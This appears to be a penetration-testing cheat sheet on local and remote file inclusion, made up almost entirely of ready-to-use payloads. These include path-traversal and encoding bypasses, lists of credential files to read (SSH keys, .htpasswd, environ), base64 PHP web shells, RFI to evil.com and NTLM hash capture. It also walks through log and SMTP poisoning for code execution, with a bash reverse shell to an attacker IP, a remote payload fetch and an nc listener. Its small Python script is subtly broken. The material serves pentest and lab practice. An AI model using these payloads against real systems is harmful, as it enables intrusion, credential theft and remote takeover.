File Inclusion (LFI/RFI)
Last modified: 2024-11-08
Local File Inclusion (LFI) and Remote File Inclusion (RFI) are vulnerabilities that are often found to affect web applications that rely on a scripting run time.
Local File Inclusion (LFI)
?page=../
?page=/etc/passwd
?page=../../../../etc/passwd
?page=../../../../../etc/passwd
?page=..//..//..//..//..//etc/passwd
?page=....//....//....//....//etc/passwd
?page=....//....//....//....//....//....//etc/passwd
?page=.....///.....///.....///.....///etc/passwd
?page=../../../../../../../../../../../../../../etc/passwd
?page=..\/..\/..\/..\/etc/passwd
?page=/var/www/html/..//..//..//etc/passwd
?page=/etc/passwd&
?page=/etc/passwd%00
?page=example.php%00.txt
?page=/etc/passwd%00.inc
?page=/etc/passwd%00.php
?page=http://localhost/index
?page=http://localhost:3000/index.html
?page=http://localhost:8000/index.html
?page=somedir/../../../../etc/passwd&ext=
# URL encoding
?page=..%2F..%2F..%2F..%2Fetc/passwd
?page=..%5C..%5C..%5C..%5Cetc/passwd
?page=%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2Fetc%2Fpasswd
?page=http:%5C%5Cindex
# URL double encoding
?page=..%252F..%252F..%252F..%252fetc/passwd
?page=%252E%252E%252F%252E%252E%252F%252E%252E%252F%252E%252E%252Fetc%252Fpasswd
?page=http:%252F%252Findex
# UTF-8 encoding
?page=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd
# Dot truncation
?page=../../../../etc/passwd..........................................................
# File scheme
?page=file:///etc/passwd
?page=file:%2F%2F%2Fetc%2Fpasswd
?page=file:%252F%252F%252Fetc%252Fpasswd
?page=file%3A///etc/passwd
?page=file%3A%2F%2F%2Fetc%2Fpasswd
?page=file%3A%252F%252F%252Fetc%252Fpasswd
?page=file://var/www/html/index.php
?page=file://var/www/<subdomain>/index.php
# Other local web servr
?page=http://127.0.0.1/
?page=http://127.0.0.1:3000/
?page=http://127.0.0.1:8000/
# PHP Filter
?page=php://filter/resource=/etc/passwd
?page=php://filter/read=string.rot13/resource=index.php
?page=php://filter/convert.base64-encode/resource=index.php
?page=pHp://filter/convert.base64-encode/resource=index.php
?page=php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd
?page=data://text/plain,<?php echo base64_encode(file_get_contents(“index.php”)); ?>
# PHP Filter (Base64 encoding)
# `PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+`: `<?php system($_GET['cmd']); ?>`
?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+&cmd=whoami
# `AgZWNobyAiJF9HRVRbJ2NtZCddIjsgPz4`: `<?php echo system($_GET['cmd']); ?>`
?page=php://filter/convert.base64-decode/resource=data://plain/text,AgZWNobyAiJF9HRVRbJ2NtZCddIjsgPz4=&cmd=whoami
# PHP Session File
?page=/var/lib/php/sessions/sess_<PHPSESSID>
To automate this process, we can fuzzing as follow.
ffuf -u http://example.com/?page=FUZZ -w /usr/share/seclists/Fuzzing/LFI/LFI-gracefulsecurity-linux.txt
ffuf -u http://example.com/?page=FUZZ -w /usr/share/seclists/Fuzzing/LFI/LFI-gracefulsecurity-windows.txt
Abuse Server Misconfiguration
We can try to test common paths instead of params by abusing server’s alias misconfiguration.
/images/../etc/passwd
/images/../../etc/passwd
/images../etc/passwd
/images../../etc/passwd
Interesting Files
When our payload is successful, we can additionaly investigate local files and retrieve sensitivin information.
# Home directories
?page=/home/<username>/.bashrc
?page=/home/<username>/.bash_history
?page=/home/<username>/.bash_logout
?page=/home/<username>/.bash_profile
?page=/home/<username>/.profile
?page=/home/<username>/.ssh/id_rsa
# Root directory
?page=/root/.bashrc
?page=/root/.bash_history
?page=/root/.bash_logout
?page=/root/.bash_profile
?pgae=/root/.profile
?page=/root/.ssh/id_rsa
# System-wide configurations
?page=/etc/bash.bashrc
# OS
?page=/etc/lsb-release
?page=/etc/os-release
# Processes
?page=/proc/net/tcp
?page=/proc/self/cmdline
?page=/proc/self/environ
?page=/proc/self/fd/0
?page=/proc/self/fd/1
?page=/proc/<pid>/cmdline
?page=/proc/<pid>/environ
# Mail
?page=/var/mail/<username>
?page=/var/spool/mail/<username>
# Postfix
?page=/var/log/mail.log
?page=/var/log/maillog
# Host
?page=/etc/hosts
?page=/etc/hostname
# Cron
?page=/etc/crontab
# Web root
?page=/var/www/html/index.html
?page=/var/www/html/index.php
?page=/var/www/html/.htaccess
?page=/var/www/html/.htpasswd
?page=/var/www/example.com/index.php
?page=/var/www/sudomain/index.php
?page=/var/www/subdomain.example.com/index.php
?page=/var/www/wordpress/index.php
# Apache
?page=/etc/apache2/.htpasswd
?page=/etc/apache2/apache2.conf
?page=/etc/apache2/envvars
?page=/etc/apache2/ports.conf
?page=/etc/apache2/sites-available/domain.conf
?page=/etc/apache2/sites-available/example.com.conf
?page=/etc/apache2/sites-available/sub.example.com.conf
?page=/etc/apache2/sites-available/sub.conf
?page=/etc/apache2/sites-enabled/000-default.conf
?page=/etc/apache2/sites-enabled/domain.conf
?page=/etc/apache2/sites-enabled/example.com.conf
?page=/etc/apache2/sites-enabled/sub.example.com.conf
?page=/etc/apache2/sites-enabled/sub.conf
?page=/var/log/apache/access.log
?page=/var/log/apache/error.log
?page=/var/log/apache2/access.log
?page=/var/log/apache2/error.log
# Apache Tomcat
?page=/opt/tomcat/conf/tomcat-users.xml
?page=/opt/tomcat/logs/catalina.err
?page=/opt/tomcat/logs/catalina.out
# Nginx
?page=/var/log/nginx/access.log
?page=/var/log/nginx/error.log
?page=/etc/nginx/nginx.conf
?page=/etc/nginx/conf.d/.htpasswd
?page=/etc/nginx/conf.d/example.com.conf
?page=/etc/nginx/conf.d/example.conf
?page=/etc/nginx/conf.d/subdomain.example.com.conf
?page=/etc/nginx/conf.d/subdomain.conf
?page=/etc/nginx/sites-available/default
?page=/etc/nginx/sites-available/example.com.conf
?page=/etc/nginx/sites-enabled/default
?page=/etc/nginx/sites-enabled/example.com.conf
?page=/usr/local/nginx/conf/nginx.conf
?page=/usr/local/etc/nginx/nginx.conf
# PHP web conf (x.x is specified PHP version)
?page=/etc/php/x.x/apache2/php.ini
?page=/etc/php/x.x/cli/php.ini
?page=/etc/php/x.x/fpm/php.ini
# Flask
?page=index.html
?page=../__init__.py
?page=../app.py
?page=../db.py
?page=../main.py
?page=/home/<username>/<appname>/app.py
?page=/opt/<appname>/app.py
?page=/srv/<appname>/app.py
# BIND
?page=/etc/bind/named.conf
?page=/etc/bind/named.conf.options
?page=/etc/bind/named.conf.local
?page=/etc/bind/named.conf.default-zones
# Windows
?page=C:/Windows/debug/NetSetup.log
?page=C:/Windows/System32/drivers/etc/hosts
?page=C:/Windows/System32/inetsrv/config/applicationHost.config
?page=../../../../../../../../windows/system32/drivers/etc/hosts
?page=C:/Users/Public/Desktop/desktop.ini
?page=C:/Users/FUZZ/Desktop/desktop.ini # user enumeration
?page=C:/inetpub/wwwroot/<project>/web.config
?page=C:/xampp/apache/conf/httpd.conf
?page=C:/xampp/apache/conf/extra/httpd-userdir.conf
?page=C:/xampp/apache/conf/extra/httpd-vhosts.conf
?page=C:/xampp/apache/conf/extra/httpd-xampp.conf
?page=C:/xampp/apache/conf/extra/httpd-ajp.conf
?page=C:/xampp/apache/logs/access.log
?page=C:/xampp/apache/logs/error.log
?page=C:/xampp/cgi-bin/example.cgi
?page=C:/xampp/htdocs/example.com/index.php
?page=C:/xampp/htdocs/sub.example.com/index.php
?page=C:/xampp/phpMyAdmin/index.php
?page=C:/xampp/phpMyAdmin/config.inc.php
Using Curl
If we want to test against the URL path not param, curl
can be used with the option --path-as-is
:
curl --path-as-is http://example.com/../../../../etc/passwd
Read Process Commands
We can retrieve commands that start processes by enumerating /proc/PID/cmdline
.
Create a Python script that enumerates them. We can refer to this blog post's "This leaves the server vulnerable to Local File Inclusion." section.
# lfi.py
import requests
import time
for i in range(10):
print(f"[+] Trying {i}")
url = "http://example.com/?file=/proc/" + i + "/cmdline"
resp = requests.get(url)
print(resp.content)
time.sleep(1)
Then execute this file.
python3 lfi.py
Remote File Inclusion (RFI)
?page=//evil.com/exploit
?page=%2F%2fevil.com/exploit
?page=%2C%2Cevil.com/exploit
?page=http://evil.com/exploit
?page=http%3A//evil.com/exploit
?page=http%3A%2F%2Fevil%2Ecom/exploit
?page=http%253A%252F%252Fevil%252Ecom/
?page=test@sub.example.com/
Steal NTLM Hashes (Windows)
If the website is hosted on Windows, we may be able to retrieve password hashes using Responder.
In local machine, start responder.
# -I: Interface e.g. eth0, tun0, etc.
sudo responder -I tun0
Then send request to https://example.com/?page=//<local-ip>/test
.
Now we may be able to capture the hashes.
If so, we can crack it using JohnTheRipper or Hashcat. Please refer to this page for cracking NTLM.
Remote Code Execution (RCE)
php_filter_chain_generator is CLI that generates payload for PHP filter bypass and allow us to RCE.
Below is the payload for reverse shell.
wget https://raw.githubusercontent.com/synacktiv/php_filter_chain_generator/main/php_filter_chain_generator.py
python3 php_filter_chain_generator.py --chain "<?php system('bash -c \"bash -i >& /dev/tcp/10.0.0.1/4444 0>&1\"')?>"
Then copy the output and paste it to the target.
Log Poisoning
1. Check if You Can Access the Apache Log File
# Debian, Ubuntu Linux
/?page=/var/log/apache/access.log
/?page=../../../../var/log/apache/access.log
/?page=/var/log/apache2/access.log
/?page=../../../../var/log/apache2/access.log
# FreeBSD Linux
/?page=/var/log/httpd-access.log
/?page=../../../../var/log/httpd-access.log
# CentOS, Fedora, RedHat Linux
/?page=/var/log/httpd/access_log
/?page=../../../../var/log/httpd/access_log
2. Prepare the Payload for PHP Reverse Shell
wget https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php -O shell.php
# Edit the values in the payload
$ip = '<attacker-ip>';
$port = 4444;
3. Open Web Server in Local Machine
python -m http.server 80
4. Inject PHP Payload in the User-Agent
Send the GET Request with abusing the User-Agent.
The payload can be uploaded to the /shell.php
of the target website.
GET / HTTP/1.1
...
User-Agent: <?php file_put_contents('shell.php', file_get_contents('http://<attacker-ip>/shell.php')); ?>
If we got some error such as "500 Internal Server Error" when the next steps, try to modify the payload a bit. For example,
- Change single quotes (') to double quotes (").
- Change double quotes (") to single quotes (').
- Change
<?php
to<?pHp
. (PHP filter bypass)
5. Apply the Injection
Refresh the page /index.php?page=../../../../var/log/apache2/access.log
.
6. Open Listener for Reverse Shell
In you local machine, open the listener.
You need to specify the port which you set the section 2.
nc -lvnp 4444
7. Gain Access to Shell
Access to /shell.php
of the target website.
If it goes well, you can get a shell.
SMTP Log Poisoning
Reference: https://www.hackingarticles.in/smtp-log-poisioning-through-lfi-to-remote-code-exceution/
If the target system opens SMTP and we can see the email logs, we may inject arbitrary code to the email log and lead to RCE.
1. Check Log Files with LFI
Below is the log file location examples:
# Exim
?page=/var/log/exim_mainlog
?page=/var/log/exim/main.log
# Postfix
?page=/var/log/mail.log
?page=/var/log/maillog
?page=/var/adm/maillog
?page=/var/adm/syslog/mail.log
2. Send Email Included RCE via SMTP Server
# 1. Connect to the SMTP server
telnet x.x.x.x 25
# 2. Check existing account
vrfy root
250 2.0.0 root
vrfy admin
250 2.0.0 admin
vrfy administrator
250 2.0.0 administrator
...
# 3. Send email included arbitrary code
MAIL FROM: support@victim.com
RCPT TO: <?php system($_GET['cmd']); ?>
3. Achieve RCE with LFI
Now go back to the vulnerable web page. Send request of LFI such as below:
/?page=/var/log/mail.log&cmd=whoami
If the result of the system command is displayed in the response, we can execute other commands (e.g. for Reverse Shell).